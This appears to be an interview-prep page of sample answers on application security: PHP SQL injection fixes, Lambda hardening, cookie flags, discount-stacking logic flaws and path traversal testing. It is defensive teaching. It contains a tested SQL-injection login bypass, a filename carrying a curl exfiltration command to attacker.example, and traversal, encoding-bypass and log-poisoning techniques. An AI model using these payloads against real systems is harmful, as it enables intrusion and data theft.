Secure Coding and Application Security Questions
Writing and reviewing code that resists attack. Covers the OWASP Top Ten and common web vulnerabilities (XSS, SQL injection, CSRF), input validation, secure coding practices and security code review, static application security testing (SAST), API and HTTP security, database and frontend security, and mobile app security. The application-layer defense discipline for engineers building software.
You are given a simple PHP login snippet:
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysql_query($query);
Identify every vulnerability present, map each to its OWASP/CWE entry, and propose immediate code fixes for all of them (parameterized queries, hashed password comparison, and the deprecated mysql_* API).
Sample Answer
Direct answer
This snippet has three distinct problems, two of them directly attacker-exploitable today and one an end-of-life/maintainability risk: SQL injection from string-interpolated query building (OWASP A03:2021 Injection, CWE-89), plaintext password storage and comparison (OWASP A02:2021 Cryptographic Failures, CWE-256, Plaintext Storage of a Password), and reliance on the deprecated mysql_* extension (CWE-477, Use of Obsolete Function), which was removed entirely in PHP 7.0.0, so this code will not even run on any currently supported PHP version. Fixing the injection alone is not sufficient: a login endpoint with a parameterized query but still comparing plaintext passwords remains dangerous the moment the database itself is compromised, so all three need addressing together.
Structured elaboration
Vulnerability 1: SQL injection (OWASP A03:2021, CWE-89)
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
Both $username and $password come directly from $_POST and are interpolated into the query string with no escaping or parameterization. Any single quote in the input breaks out of the intended string literal and lets an attacker rewrite the query's logic. This is the highest-severity issue here: it does not require knowing any valid credentials at all to potentially authenticate as an arbitrary user, or worse.
Vulnerability 2: plaintext password comparison (OWASP A02:2021, CWE-256)
The query compares password='$password' directly against a stored value, which means the database stores passwords in plaintext (or the code assumes it does). If the database is ever read by an attacker, through this same SQL injection, a backup left exposed, or an entirely different vulnerability, every user's real password is immediately readable, not just for this application but for every other site where a user reused that password.
Vulnerability 3: the deprecated mysql_* extension (CWE-477, Use of Obsolete Function)
mysql_query() belongs to the original mysql extension, deprecated as of PHP 5.5.0 and removed completely in PHP 7.0.0 in favor of mysqli or PDO. Beyond the fact that this code cannot run on a supported PHP version at all, the old extension's API also encouraged exactly the string-concatenation pattern seen here, since it had no built-in parameterized-query support; moving to PDO or mysqli is what makes the parameterization fix in the next section possible in the first place. CWE-477 does have an OWASP Top Ten home, and it is worth naming it precisely. The 2025 edition lists CWE-477 (Use of Obsolete Function) directly among the CWEs mapped to A03:2025 Software Supply Chain Failures, and the 2021 edition covers the same risk under A06:2021 Vulnerable and Outdated Components, whose criteria explicitly include software that is 'vulnerable, unsupported, or out of date', naming runtime environments among the things that counts for, even though A06's own mapped CWE list stops at CWE-1104 and its two predecessors. What is genuinely different about this third issue is the nature of the risk, not the absence of a category: it is an end-of-life and maintainability weakness rather than something an attacker exploits directly, whereas vulnerabilities 1 and 2 are exploitable today with no further conditions. For completeness against the current edition, the first two map to A05:2025 Injection and A04:2025 Cryptographic Failures respectively, the same risks renumbered.
Secondary issues worth flagging in the same review
- No input validation: empty or missing
username/passwordvalues are not checked before being used. - No generic error handling: a database connection failure or query error would likely surface a raw error message (a stack trace or driver error), which is its own information-disclosure risk.
- No rate limiting or account lockout: nothing here slows down or blocks repeated login attempts, leaving the endpoint open to credential-stuffing and brute-force attacks even once the injection and plaintext-password issues are fixed.
The fix for each issue
- Parameterized queries replace string interpolation with placeholders and bound values, so the database driver always treats
$usernameand$passwordas data, never as SQL syntax, regardless of their content. - Hashed password comparison replaces storing and comparing the raw password with storing a salted, slow, one-way hash (PHP's
password_hash(), which defaults to bcrypt) and verifying a login attempt withpassword_verify(), which does the comparison without ever needing the stored value to equal the submitted plaintext. - Replacing the deprecated API means moving to PDO (or
mysqli) as the database layer, which also happens to be what makes parameterized queries available as a first-class feature rather than something bolted on.
<?php
// $pdo is a PDO connection configured with PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
if ($username === '' || $password === '') {
http_response_code(400);
exit('Username and password are required.');
}
$stmt = $pdo->prepare('SELECT id, password_hash FROM users WHERE username = :username LIMIT 1');
$stmt->execute([':username' => $username]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);
if ($user && password_verify($password, $user['password_hash'])) {
session_start();
session_regenerate_id(true); // new session id on successful auth, see the related
// session-fixation question for why this matters
$_SESSION['uid'] = $user['id'];
echo 'OK';
} else {
// Generic message for both "no such user" and "wrong password": revealing
// which one it was lets an attacker enumerate valid usernames.
http_response_code(401);
echo 'Invalid credentials';
}
Note the users table itself changes shape too: the password column becomes password_hash, storing the output of password_hash($plaintext, PASSWORD_DEFAULT) at signup or password-change time, never the plaintext itself.
Worked example
Since a PHP/MySQL runtime was not available to execute the exact snippet above, the same two mechanisms it relies on (parameterization neutralizing injection, and hashed comparison replacing plaintext) are proven here with an equivalent parameterized-query engine, Python's built-in sqlite3, mirroring the vulnerable and fixed query logic line for line:
import sqlite3, hashlib, hmac, os
conn = sqlite3.connect(':memory:')
conn.execute('CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT)')
conn.execute("INSERT INTO users (username, password) VALUES ('alice', 'CorrectHorseBattery99')")
conn.commit()
def vulnerable_login(username, password):
# Mirrors: "SELECT * FROM users WHERE username='$username' AND password='$password'"
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
return conn.execute(query).fetchone(), query
def fixed_login(username, password):
return conn.execute(
"SELECT * FROM users WHERE username = ? AND password = ?", (username, password)
).fetchone()
# Control: legitimate login on the vulnerable path.
print('Legit login:', vulnerable_login('alice', 'CorrectHorseBattery99')[0])
# AND binds tighter than OR in SQL, so a bare OR '1'='1' does not bypass the
# trailing AND password=...' clause on its own; commenting out the rest of
# the query with "--" is what makes the classic bypass work.
payload_user = "' OR '1'='1' -- "
attacker_row, built_query = vulnerable_login(payload_user, "whatever")
print('Injected query: ', built_query)
print('Bypass on vulnerable path (non-None = success):', attacker_row)
print('Same payload on the parameterized path (should be None):',
fixed_login(payload_user, "whatever"))
# Plaintext vs. hashed comparison, using PBKDF2-HMAC-SHA256 as a stand-in for
# PHP's password_hash()/password_verify() (bcrypt by default), since Python's
# standard library has no bcrypt; this proves the same PROPERTY: the stored
# value is salted and never equals the submitted plaintext.
def hash_password(pw):
salt = os.urandom(16)
derived = hashlib.pbkdf2_hmac('sha256', pw.encode(), salt, 200_000)
return salt.hex() + '$' + derived.hex()
def verify_password(pw, stored):
salt_hex, derived_hex = stored.split('$')
salt, expected = bytes.fromhex(salt_hex), bytes.fromhex(derived_hex)
actual = hashlib.pbkdf2_hmac('sha256', pw.encode(), salt, 200_000)
return hmac.compare_digest(actual, expected)
stored_hash = hash_password('CorrectHorseBattery99')
print('Stored hash != plaintext:', stored_hash != 'CorrectHorseBattery99')
print('verify_password(correct):', verify_password('CorrectHorseBattery99', stored_hash))
print('verify_password(wrong): ', verify_password('wrong-guess', stored_hash))
Running this produced:
Legit login: (1, 'alice', 'CorrectHorseBattery99')
Injected query: SELECT * FROM users WHERE username='' OR '1'='1' -- ' AND password='whatever'
Bypass on vulnerable path (non-None = success): (1, 'alice', 'CorrectHorseBattery99')
Same payload on the parameterized path (should be None): None
Stored hash != plaintext: True
verify_password(correct): True
verify_password(wrong): False
The injected username ' OR '1'='1' -- rewrites the query so it matches the first row in the table and comments out the password check entirely, logging in as alice with a completely wrong password (whatever). The exact same payload against the parameterized version returns nothing, because the database driver binds payload_user as a literal string value to compare against the username column, not as SQL text, so the embedded quote and comment marker have no special meaning at all. The hashing section confirms the stored value is never the plaintext, and that verification correctly accepts the right password and rejects a wrong one.
Trade-offs and pitfalls
- Fixing only the injection and stopping there. A parameterized query with plaintext passwords still stored is a smaller but real problem: it removes the SQL injection path to credential theft but does nothing about a database backup, a different vulnerability, or an insider threat exposing every password directly.
- Rolling a custom hashing scheme. Using a fast general-purpose hash (MD5, SHA-256 alone, with or without a manually implemented salt) instead of a purpose-built, slow, adaptive password-hashing function is a common near-miss;
password_hash()'s bcrypt default (or an explicitly configured Argon2 option) is deliberately slow and includes salting automatically, which a hand-rolled scheme reliably gets wrong somewhere. - Revealing which credential was wrong. Returning a distinct message for "no such username" versus "wrong password" lets an attacker enumerate valid usernames even after the injection and plaintext-password issues are fixed; the generic "Invalid credentials" message in the fix above is deliberate.
- Forgetting existing users during migration. Moving from plaintext to hashed passwords in a live system requires migrating existing rows (typically by forcing a hash on next successful login with the old comparison, then discarding the old plaintext once migrated) rather than a one-time script that still needs the plaintext values to exist somewhere during the transition.
- Treating the deprecated-API fix as merely a compatibility upgrade. Swapping
mysql_queryformysqli_querywith the same string-concatenation pattern intact fixes nothing security-relevant; the value of moving tomysqlior PDO is entirely in actually using their parameterized-query support, not just avoiding a fatal "function not found" error on modern PHP.
Design an approach to secure serverless (AWS Lambda) functions that process external input. As a penetration tester, list common serverless-specific vulnerabilities (e.g., excessive permissions, insecure environment variables, event-data injection), how you would test for them, and recommend secure deployment patterns and IAM best practices.
Sample Answer
Direct answer
Securing serverless functions that process external input means designing for the fact that the function's execution role and its event source are the entire attack surface, since there is no host or network perimeter to fall back on. Three vulnerability classes dominate (excessive permissions, insecure environment variables, event-data injection), each needs its own testing approach as a penetration tester, and the deployment pattern and identity and access management (IAM) practices that prevent them are the same regardless of which cloud runs the function.
Structured elaboration
Common serverless-specific vulnerabilities.
| Vulnerability | What it looks like |
|---|---|
| Excessive permissions | The function's execution role grants wildcard actions or resources, or holds a sensitive action it never uses (iam:PassRole, broad s3:*), typically because scoping per function was skipped in favor of reusing a broad "known working" role |
| Insecure environment variables | Secrets stored as plaintext environment variables rather than referenced from a managed secret store, readable by anyone with permission to view the function's configuration, not only by the function's own runtime |
| Event-data injection | The function trusts a field from its triggering event (an object storage key, a queue message body, an API Gateway path parameter) and uses it unsafely downstream, in a shell command, a file path, or a database query, letting whoever can produce that event influence what the function executes |
How to test for each, as a penetration tester. Enumerate the execution role's policies through read-only calls and validate any suspected over-permission with a policy simulator rather than by invoking the function with a crafted payload; read the function's configuration to check for plaintext secrets in environment variables rather than in a referenced secret store; and, for event-data injection, trace every field of the function's actual trigger payload (not just the ones the developer intended to use) to see which reach a sensitive sink (a subprocess call, a file path, a query string) without being validated or sanitized first. All three are identifiable through configuration review and controlled, authorized test-event submission, without needing destructive action against production.
Recommended secure deployment patterns.
- One execution role per function, scoped to that function's actual resources, rather than a role shared across a service's several functions; generate the initial scope from the function's actual call history using access-analysis tooling, then review it, rather than hand-guessing.
- Secrets resolved at invocation time from a managed secret store (AWS Secrets Manager, GCP Secret Manager, Azure Key Vault), referenced by an identifier in the function's configuration, never embedded as a plaintext environment variable or baked into the deployment package.
- Treat every field of the triggering event as untrusted input, applying the same validation discipline a web application applies to a request body: allow-list expected shapes, reject anything else, and never interpolate an event field directly into a shell command or file path.
- Least-privilege event source configuration. An API Gateway route should require authentication (IAM authorization or a JSON Web Token (JWT) authorizer) rather than being left open by default, and an object-storage trigger should be scoped to the specific prefix or event type the function actually needs to react to, not the whole bucket.
Worked example
A function triggered by object-storage uploads is meant to generate a thumbnail and write it to a processed-images bucket. It reads the uploaded object's key directly from the event payload and passes it, unsanitized, to a shell command that invokes an image-processing binary with the key as a filename argument. An attacker who can control the uploaded filename (any external user with upload access) uploads a file named thumb.jpg; curl attacker.example/exfil?data=$(cat /tmp/*), and if the shell command construction is naive string interpolation rather than an argument array, the embedded command executes on the function's runtime. As a penetration tester, this is identified by reading the function's source (or, if source is unavailable, by submitting an authorized test event with a crafted key value observing behavior through logs, never actually exfiltrating anything) rather than by exploiting it against production. The fix is not a single control but two independent ones: pass the filename as an argument array element rather than interpolating it into a command string (removing the injection vector entirely), and scope the function's execution role narrowly enough that even a successful injection cannot reach anything beyond the two buckets it legitimately touches.
Trade-offs and pitfalls
- Policy-simulator-based testing has a real limit. It confirms what the IAM policy allows, not what the function's own code path actually does with those permissions; the event-data-injection finding in the worked example is invisible to a policy simulator entirely; that vulnerability class requires reading code or observing crafted-event behavior, not permission analysis.
- Environment-variable encryption at rest is not the same control as restricting who can read the function's configuration. A team that enables the provider's default encryption and considers the environment-variable finding closed has not addressed the actual exposure, which is IAM permission to read the function's configuration in the first place, not the storage-layer encryption.
- Scoping a role from historical call data can under-scope for a legitimate rare path, the same risk that applies to any access-analysis-driven least-privilege exercise; a canary or monitored rollout period before fully cutting over avoids breaking a genuine but infrequent code path.
- A common wrong turn is validating only the fields a function's happy-path code reads, and skipping fields a developer assumed were "just metadata." In the worked example, the object key is exactly that kind of field: it looks like routing information, not user input, which is precisely why it is easy to miss in a review that only checks the fields the function's business logic obviously depends on.
List and explain the most important cookie and session flags and properties to check when testing session management: HttpOnly, Secure, SameSite, session-ID entropy and rotation on login, and appropriate expiration. Explain what an attacker gains if each protection is missing.
Sample Answer
Direct answer
When testing session management, check six things on the session cookie itself: the HttpOnly flag, the Secure flag, the SameSite attribute, how random (high-entropy) the session identifier is, whether it rotates on login, and whether the session actually expires in a reasonable window. Each one blocks a distinct attack path, so each is checked independently rather than assuming one strong control compensates for a missing one.
Structured elaboration
| Property | What it does | What an attacker gains if it's missing |
|---|---|---|
HttpOnly | Prevents JavaScript running on the page from reading the cookie's value | If there is any cross-site scripting (XSS) vulnerability anywhere on the site, injected script can read document.cookie, exfiltrate the session cookie to an attacker-controlled server, and hijack the session directly. Missing HttpOnly turns an XSS bug into full session takeover instead of a more limited page-defacement issue. |
Secure | Tells the browser to only ever send the cookie over an HTTPS connection, never plain HTTP | On any network where traffic can be intercepted (public Wi-Fi, a compromised router, an on-path attacker), a session cookie sent over plaintext HTTP, even if the site is normally accessed over HTTPS, can be captured and replayed. This matters even on HTTPS-only sites, because a stray HTTP link or a mixed-content resource can still trigger a plaintext send if Secure is not set. |
SameSite (Strict, Lax, or None) | Controls whether the browser attaches the cookie to requests originating from a different site | Without a restrictive SameSite value, a cross-site request forgery (CSRF) attack, where a malicious page on another site causes the victim's browser to submit a request to the target site, still carries the victim's session cookie, letting the forged request execute as the logged-in user. SameSite=None is sometimes required for legitimate cross-site flows, but it needs the Secure flag and a genuine CSRF-token defense alongside it. |
| Session-ID entropy | How unpredictable the identifier is, so it cannot be guessed or brute-forced | A session identifier generated with a weak or predictable source (a sequential counter, a hash of a low-entropy value like a timestamp, a short identifier) can be guessed or enumerated by an attacker, who can then simply present a guessed valid identifier and be treated as that user, without ever needing to steal anything. |
| Rotation on login | Issues a new session identifier at the moment of authentication (and, ideally, on logout and privilege escalation) | Without rotation, an attacker who can plant or capture a session identifier before the victim authenticates (a session fixation attack) finds that identifier still valid and now authenticated after the victim logs in, letting the attacker use the same identifier to access the account. |
| Appropriate expiration | Bounds how long a session identifier remains valid, both an idle timeout and an absolute maximum lifetime | A session that never expires, or expires only after an unreasonably long window, means a stolen or abandoned session identifier (a logged-in session left open on a shared or public computer, a captured cookie from months ago) stays usable indefinitely, giving an attacker a much longer window to exploit it. |
Worked example
Testing a target application's session cookie by inspecting the Set-Cookie header returned after login:
Set-Cookie: session=a1b2c3; Path=/
Working through the checklist against this single header already surfaces several findings: no HttpOnly (any XSS on the site can read this cookie via JavaScript), no Secure (it will be sent over plain HTTP if the site is ever reached that way), no SameSite attribute (defaults vary by browser, but explicitly setting it is the only way to be sure of the behavior, and this cookie does not), and the identifier a1b2c3 is short and looks like it could be sequential or otherwise low-entropy, worth testing further by requesting several sessions in a row and checking whether the values follow a discoverable pattern. Separately, logging in twice in a row and comparing the session identifier before and after authentication reveals whether it rotates, and leaving a session idle (or checking documentation/behavior for an absolute session lifetime) reveals whether expiration is enforced.
A properly hardened equivalent:
Set-Cookie: session=8f2e91acb4d67a1e3c9f0d5b2a7e4f1c; Path=/; HttpOnly; Secure; SameSite=Strict; Max-Age=1800
Here the identifier is long and appears random, HttpOnly blocks script access, Secure restricts transmission to HTTPS, SameSite=Strict blocks cross-site request attachment, and Max-Age=1800 bounds the cookie to 30 minutes measured from when the browser received it. Note that Max-Age is an absolute browser-side lifetime, not an idle timeout: unless the server re-issues the cookie on every response, continued activity does not extend it, and either way the server has to enforce its own idle and absolute limits independently, since the browser-side value only governs when the browser stops sending the cookie. Confirming rotation on login still requires an active test (comparing the pre- and post-authentication cookie values), since it is not visible from a single header.
Trade-offs and pitfalls
- Checking flags without checking behavior. The presence of
SameSite=Strictin a header is easy to verify by inspection; whether the session identifier actually rotates on login, or whether expiration is genuinely enforced server-side and not just suggested by aMax-Agevalue the server ignores, requires exercising the application, not just reading response headers. SameSite=Laxas a default, not a considered choice. Many frameworks now default new cookies toSameSite=Lax, which blocks most cross-site POST-based CSRF but still allows the cookie on top-level navigation (a link click), which is enough for some attack variants; treat the default as a reasonable baseline to verify, not as proof the application is intentionally protected.- Relying on
SameSitealone as CSRF protection. Browser support and edge-case behavior (subdomains, certain redirect chains) makeSameSitea strong layer, not a complete replacement for an explicit CSRF token, especially for an application that must support older or unusual clients. - High entropy alone does not fix a fixation vulnerability. A perfectly random, unguessable session identifier is still exploitable if the application never rotates it at login; entropy defends against guessing, rotation defends against a known-but-unauthenticated identifier being reused. They are independent controls addressing different attack paths.
- Expiration set too long "for user convenience." A long-lived session is a common, deliberate business trade-off (fewer login prompts), but it should be a considered decision weighed against the sensitivity of what the session protects, not a default left unexamined; a banking application and a low-stakes content site have very different reasonable answers here.
A shopping-cart endpoint applies discounts via a JSON payload with fields itemId and discount. You suspect a business-logic flaw allows stacking discounts across users. Design tests to discover this class of business-logic abuse, describe a proof of concept that demonstrates the financial impact, and explain how you would report it responsibly to developers and product owners.
Sample Answer
Direct answer
Business-logic flaws like discount stacking do not show up in a vulnerability scanner because nothing in the request is malformed, it is syntactically valid, so testing for them means enumerating the state combinations the business rules assume are mutually exclusive (one discount per cart, one use per code) and deliberately trying to violate that assumption, rather than looking for injection-style payloads. A convincing proof of concept quantifies the actual currency impact on a realistic cart, not just "I got two discounts to apply." Responsible reporting separates the reproducible technical finding from the business-impact estimate and goes through the coordinated channel the team actually uses, never demonstrated at scale against real customer carts.
Structured elaboration
Designing tests to discover this class of abuse
Start from the intended business rule, usually not fully documented in the API itself, inferred from product behavior: "one discount per order," "each code single-use per account." The test's job is to find every state combination that violates that assumed invariant while still being a syntactically valid request. Concrete techniques for a stacking-shaped bug specifically:
- Submit multiple discount identifiers in one request if the schema technically allows an array or multiple fields, even if the UI only ever sends one.
- Duplicate the same JSON key in the request body if the server's parser accepts it; different frameworks resolve duplicate keys inconsistently (first wins, last wins, or silently coerced into an array), so test both orderings against the target specifically rather than assuming.
- Apply codes across concurrent requests against the same cart. This is the business-logic analog of a classic read-then-write race condition, checking state and then acting on it without re-verifying, so two concurrent requests can both pass the check: does the server recompute the cart total from scratch on every request, or does it add each discount's effect incrementally without checking whether a discount was already applied?
- Reorder operations: add an item, apply discount A, apply discount B, remove the item, re-add it. Does removing and re-adding an item reset which discounts are considered "applied," opening a path to reapply the same code.
- Cross-user replay: does the discount-validity check bind the code to the specific cart or user it was validated against, or can a code validated once be replayed on a different cart entirely.
Design the test the way an attacker would design the exploit: the smallest set of requests that gets an outsized discount, not a field-by-field audit for special characters.
Proof of concept demonstrating financial impact
Show the actual arithmetic, not just "it worked." On a real (test-environment) cart total, compute what the legitimate maximum discount should be under the business rules versus what the exploit actually achieved, and express both as a currency amount and a percentage: a percentage alone can undersell the impact on a large cart, and a currency amount alone can undersell the impact at volume. If you want to make the aggregate business-risk case, multiply by a realistic order volume, but label that multiplication explicitly as a projection built on an assumed rate, never present it as a measured fact unless you actually have the underlying frequency data.
Reporting responsibly to developers and product owners
Split the report into two threads. The technical thread carries exact reproduction steps (raw request and response bodies, the exact field values used, the environment and test account), reduced to the minimal set of steps that reproduces the bug, not the more elaborate sequence you may have used while proving impact, so triage does not have to untangle extra steps that were not load-bearing. The business-impact thread carries the per-instance currency exposure you calculated and, only if you have real rate data to support it, a clearly labeled estimate of aggregate exposure if the flaw is automated at scale; otherwise state the per-instance number and let product size the aggregate risk themselves rather than inventing a scale estimate.
Report through the established coordinated-disclosure, bug-bounty, or internal ticketing channel rather than an ad hoc message, so there is a paper trail and a triage SLA; even for a purely internal finding, write it as a ticket meant to outlive the conversation, not a chat message. Never demonstrate financial-impact scale against real production carts or real customers' payment instruments; use a test or staging account with test payment methods, or, only with product and finance sign-off, a tightly bounded and immediately reverted production test. Recommend a direction for the fix (server-side recomputation of the total from scratch, validating discount eligibility fresh on every request rather than trusting client-supplied incremental state) without prescribing the exact implementation, since that decision belongs to the developer who owns the code.
Worked example
A test cart totaling 200 currency units, with two discount codes that are each individually valid for 20% off but are supposed to be mutually exclusive:
- Correct behavior (one 20% discount applied): 200×0.8=160, a saving of 40 (20% off).
- If the flaw composes the two discounts multiplicatively (each discount applied to the already-discounted total): 200×0.8×0.8=128, a saving of 72 (36% off), 32 more than the intended maximum discount.
- If the flaw composes them additively (percentages summed before applying): 200×(1−0.40)=120, a saving of 80 (40% off), double the intended maximum discount.
A real finding states which of these two the target actually implements, observed directly from the exploit's response, not assumed; the point of showing both here is that the exact mechanism materially changes the impact number you report (72 saved versus 80 saved on this cart), so verifying which composition is real before writing the report matters as much as proving the bug exists at all.
Trade-offs and pitfalls
- A bug that "technically works" but produces a trivial discount difference is a real finding, not a headline one. Calibrate the report's urgency to the actual currency impact you measured, not to the fact that a business rule was bypassed at all.
- Extrapolating to a large dollar figure without real frequency data undermines credibility. An impressive-sounding aggregate number that turns out to be guesswork erodes trust in the rest of the report; state the per-instance number precisely and let product make the scale call.
- A common wrong turn is testing only the UI's happy path (only what the checkout page itself would ever send) instead of the full space the API schema technically allows; the UI's restraint is not a security control.
- Never chase impact-proving by testing against real customer carts or real payment methods. The moment a PoC needs financial-impact evidence beyond what a test environment can show, that is a signal to loop in product/finance for an authorized, bounded test, not to escalate the PoC unilaterally.
Explain how you would detect and exploit insecure direct file inclusion or path traversal in a web app. Provide a step-by-step testing methodology (including bypass techniques such as null bytes or encoded slashes where applicable), the safety precautions you would take while testing, and the remediation advice you would give developers.
Sample Answer
Direct answer
Testing for path traversal (and its close cousin, local file inclusion, meaning a parameter that gets pulled directly into a file-read or file-include call) is a systematic walk from recon to confirmed impact: find every parameter that looks like it names a file or path, probe it with increasingly obfuscated traversal sequences, confirm impact by reading a known, harmless file rather than anything destructive, and stop there. Bypass techniques exist because naive input filters often block the literal string ../ while missing encoded, double-encoded, or platform-specific equivalents; testing has to try the encoded forms specifically, not just the plain one, or a real vulnerability behind a weak filter will be missed.
Structured elaboration
Step-by-step testing methodology
- Recon. Identify every parameter, header, or cookie that plausibly names a file, path, or template: query parameters like
?file=,?template=,?doc=, anAccept-Languageheader that selects a locale file, an image or attachment reference. Note the platform (Windows vs. Linux, which changes path separators and likely target files) and, if visible, the file extension or type the parameter expects. - Basic probes. Try the simplest traversal payloads first:
../../../../etc/passwdon Linux,..\..\..\..\windows\win.inion Windows. A response containing recognizable file content confirms traversal outright. - Differential confirmation when the response is not obviously the file's content. Request a known-readable file (
/etc/hostson Linux is often world-readable and low-risk to confirm against) and compare the response against a request for a nonexistent file, looking for a difference in response length, status code, or timing that indicates the traversal reached a real file even if the content is not directly rendered back. - Bypass techniques, tried specifically because a naive filter often blocks only the obvious form:
- Encoded traversal:
%2e%2e%2f(URL-encoded../) or%2e%2e/(partial encoding), which pass through a filter that only checks for the literal../substring before decoding happens. - Double encoding:
%252e%252e%252f, which decodes to%2e%2e%2fafter one decoding pass and only becomes../after a second, catching filters or proxies that decode once and consider the input clean. - Alternate separators:
..\/,....//(which becomes../if a filter naively strips only the first occurrence of../without re-scanning the result), and..\for Windows targets. - Null-byte truncation: appending
%00after a payload historically could truncate a string at the C-library level in older PHP versions (before PHP 5.3.4) and some other runtimes with similar underlying string handling, letting an attacker bypass an expected-extension check (file.php%00.jpgtreated by the filter as a.jpgbut opened asfile.phpat the OS level). This is now largely closed in current language runtimes but is still worth a single quick test, since it costs nothing to try and legacy systems do still turn up.
- Encoded traversal:
- Confirm real impact, minimally. Read one harmless, known file to prove the finding; do not proceed to enumerate the entire filesystem or pull sensitive files beyond what is needed to demonstrate impact for the report.
- Look for a local file inclusion (LFI) to remote code execution (RCE) pivot, where the engagement scope allows it. If the parameter is included and executed (a template engine, a PHP
include), not just read and displayed, check for log poisoning (getting attacker-controlled PHP code into a log file the web server writes, such as by setting a craftedUser-Agentheader, then including that log file to execute it) or PHP stream wrappers (php://filter/read=convert.base64-encode/resource=...) if the target's stack supports them, which can turn a read-only LFI into code execution.
Safety precautions while testing
- Test only within the explicitly authorized scope and time window; a path traversal probe against an out-of-scope host is unauthorized access, not testing.
- Prefer read-only, low-impact probes (confirm with
/etc/hosts, not by attempting to read or exfiltrate a production secrets file, even if the traversal would technically reach it). - Avoid destructive follow-on steps (log poisoning to achieve code execution, writing files) against production systems; if that level of impact needs to be demonstrated, do it against a non-production clone or get explicit sign-off first.
- Keep detailed records of every request and response used to confirm a finding, so the report is reproducible and the client can verify it without needing to re-discover the bypass technique themselves.
- Coordinate with the client contact before or immediately after confirming any high-impact finding (a working LFI-to-RCE pivot, for example), rather than continuing to explore deeper on a live system without their awareness.
Remediation advice for developers
- Enforce an allowlist of permitted filenames or path segments rather than trying to filter out dangerous input, since a denylist of "bad" sequences is exactly what the bypass techniques above are designed to slip past.
- Canonicalize the resolved path (fully resolve
.and..segments) and verify the result still lives inside the intended base directory, checked after resolution, not by pattern-matching the raw string. - Avoid passing user input into any file-inclusion or dynamic-require mechanism at all where possible; if a template or module genuinely needs to be selected dynamically, map the input to a fixed set of safe options server-side (an enum or lookup table) rather than building a path from it directly.
- Run the web server process with the minimum filesystem permissions it needs, so that even a successful traversal has a smaller set of readable files to reach.
- Disable dangerous stream wrappers and file-inclusion features not in active use (a template engine's raw file-include capability, for example) if the application does not genuinely need them.
Worked example
Testing a document-preview feature at GET /preview?doc=quarterly-report.pdf:
- Recon confirms
docis used to build a filesystem path server-side (the response headers include aContent-Dispositionnaming the exact requested file, suggesting a direct file lookup). - Basic probe:
?doc=../../../../etc/passwdreturns a generic "file not found" page, no different from a made-up filename, suggesting either the traversal is blocked or the response does not reflect content directly. - Differential test: comparing response times and lengths between a request for
?doc=../../../../etc/hostsand one for a clearly nonexistent path shows a measurable difference, suggesting the traversal is reaching a real file even though the content is not rendered back directly (the endpoint likely returns the file as a download rather than inline, so confirming requires checking the downloaded content, not the visible page). - The basic payload is blocked from proceeding further by a filter, but
?doc=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fhosts(URL-encoded) succeeds where the plain version did not, confirming the filter checks the literal string../before the framework's own URL-decoding happens, exactly the bypass class described above. - Impact is confirmed by successfully downloading
/etc/hosts(a low-sensitivity, known file) and stopping there; the finding is reported with the exact encoded payload, the evidence that a plain-text filter is being bypassed by encoding, and the specific remediation (canonicalize after decoding, then allowlist) rather than pursuing further files.
Trade-offs and pitfalls
- Stopping at the first blocked payload. A filter that blocks the literal
../string is a strong signal there is a filter, not proof there is no vulnerability; the encoded and double-encoded variants above exist specifically because naive filters are common and this exact gap is exploitable in practice. - Over-testing once impact is confirmed. Continuing to pull additional files, or attempting an LFI-to-RCE pivot, after impact is already clearly established adds risk to the target system without adding proportional value to the finding; stop once the finding is demonstrable and well-documented.
- Relying on the null-byte technique as a primary test. It is a legacy technique closed in current PHP and most modern runtimes; including it in a test plan is reasonable due diligence for older stacks, but treating it as a likely finding on a current system wastes time better spent on the encoding-based bypasses, which remain broadly relevant.
- Confusing "file not found" with "not vulnerable." As the worked example shows, a generic error page can mean the traversal is blocked, or it can mean the traversal succeeded but the response does not reflect file content directly; a differential or blind-confirmation technique is often needed rather than trusting the visible response alone.
- Giving remediation advice that only addresses the specific payload tried. Telling a developer "block
../" addresses the literal string used in the demonstration but not the underlying class of bug; the useful remediation is canonicalize-then-allowlist, which closes the vulnerability regardless of which specific encoding a future attacker tries.
Unlock Full Question Bank
Get access to all 49 Secure Coding and Application Security interview questions and detailed answers.
Sign in to ContinueJoin thousands of developers preparing for their dream job.